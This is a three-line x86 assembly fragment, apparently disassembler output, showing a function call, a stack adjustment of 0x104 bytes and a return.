call fcn.00439d46
add esp, 0x104
ret